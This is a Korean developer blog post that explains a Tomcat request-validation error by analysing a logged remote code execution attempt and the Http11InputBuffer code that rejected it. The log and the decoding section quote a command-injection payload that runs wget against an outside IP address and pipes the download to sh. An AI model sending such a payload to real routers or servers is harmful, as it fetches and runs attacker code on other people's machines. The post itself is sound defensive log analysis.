상세 컨텐츠

본문 제목

톰캣의 자동 검증을 통한 RCE 공격 차단 사례

공부/DevOps

by seungpang 2024. 6. 9. 20:06

본문

반응형

최근 토이 프로젝트에 Grafana와 Loki를 활용해 로깅 및 모니터링을 설정하던 중, 흥미로운 에러 메시지를 발견했다.

이 에러는 단순히 유효하지 않은 문자 때문에 발생한 것처럼 보이지만, 자세히 살펴보면 원격 코드 실행(RCE) 공격 시도로 인해 발생한 것을 알 수 있다.

이번 글에서는 이 에러의 원인과 톰캣이 이를 어떻게 방어하는지에 대해 살펴보자.

프로젝트에서 발견한 에러

java.lang.IllegalArgumentException: Invalid character found in the request target
[/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) ]. The valid characters are defined in RFC 7230 and RFC 3986

이 메시지는 요청에 유효하지 않은 문자가 포함되어 있어 예외가 발생했음을 나타낸다.

그러나 자세히 보면, /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) 부분이 쉘 명령어로 URL 인코딩된 형태라는 것을 알 수 있다.

RCE 공격

여기서 /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) 부분을 해석해보면 다음과 같다.

  • /cgi-bin/luci/;stok=/locale
    • /cgi-bin/luci/는 웹 서버의 CGI 스크립트를 실행하는 디렉토리
    • stok=/locale는 스톡 키를 설정하는 부분
$(id>`wget http://103.149.28.141/t -O- | sh`)
  • id 명령을 실행하여 현재 사용자의 ID 정보를 가져와서
  • wget 명령을 사용하여 원격 서버(http://103.149.28.141/t)에서 스크립트를 다운로드하고
  • 다운로드한 스크립트를 sh를 통해 실행

이런 명령어를 통해 공격자의 스크립트가 실행되도록 하는 것이다.

톰캣 내부 로직


그렇다면 이런 공격이 왜 막혔을까?

톰캣은 HTTP 요청을 처리하는 과정에서 RFC 7230 및 RFC 3986 표준에 따라 URL의 유효성을 검증한다.

  • RFC 7230: HTTP/1.1 메시지 구문과 라우팅을 정의한다. 여기에는 HTTP 요청과 응답 메시지의 구조와 구문이 포함된다.
  • RFC 3986: URI의 문법과 의미를 정의한다. 이는 웹 리소스를 식별하기 위한 표준이다.

이 두 표준은 URL에 사용할 수 있는 유효한 문자를 정의한다.

URL에는 ASCII 문자만 사용할 수 있으며, 특정 문자는 예약되어 있다.

예를 들어, /, ?, # 등은 특별한 의미를 가지며, 이러한 문자는 인코딩된 형태로 사용해야 한다.

톰캣의 Http11InputBuffer 클래스

톰캣은 Http11InputBuffer 클래스를 통해 HTTP 요청을 파싱하고, 요청의 유효성을 검증한다.

이 과정에서 유효하지 않은 문자가 포함된 요청은 예외를 발생시킨다.

if (this.parsingRequestLineQPos != -1 && !this.httpParser.isQueryRelaxed(this.chr)) {
    this.request.protocol().setString("HTTP/1.1");
    invalidRequestTarget = this.parseInvalid(this.parsingRequestLineStart, this.byteBuffer);
    throw new IllegalArgumentException(sm.getString("iib.invalidRequestTarget", new Object[]{invalidRequestTarget}));
}

if (this.httpParser.isNotRequestTargetRelaxed(this.chr)) {
    this.request.protocol().setString("HTTP/1.1");
    invalidRequestTarget = this.parseInvalid(this.parsingRequestLineStart, this.byteBuffer);
    throw new IllegalArgumentException(sm.getString("iib.invalidRequestTarget", new Object[]{invalidRequestTarget}));
}

이 코드는 요청 타겟에 유효하지 않은 문자가 포함된 경우 예외를 발생시킨다.

여기서 this.httpParser.isQueryRelaxedthis.httpParser.isNotRequestTargetRelaxed 메서드는 각각 요청 타겟과 쿼리 문자열의 유효성을 검사한다.

톰캣은 RFC 7230과 RFC 3986에 정의된 유효한 문자만을 허용하기 때문에, 쉘 명령어와 같은 유효하지 않은 문자가 포함된 요청은 차단된다.

이로 인해 원격 코드 실행 공격을 방어할 수 있다.

이렇게 내가 모르는 부분에서 다양한 로직이 있었고 아무리 토이 프로젝트라지만 로그를 유심히 봐야할 이유가 하나 더 늘었다

'공부 > DevOps' 카테고리의 다른 글

Slack에 Github 알림 손쉽게 연동하기!  (0) 2023.09.05

관련글 더보기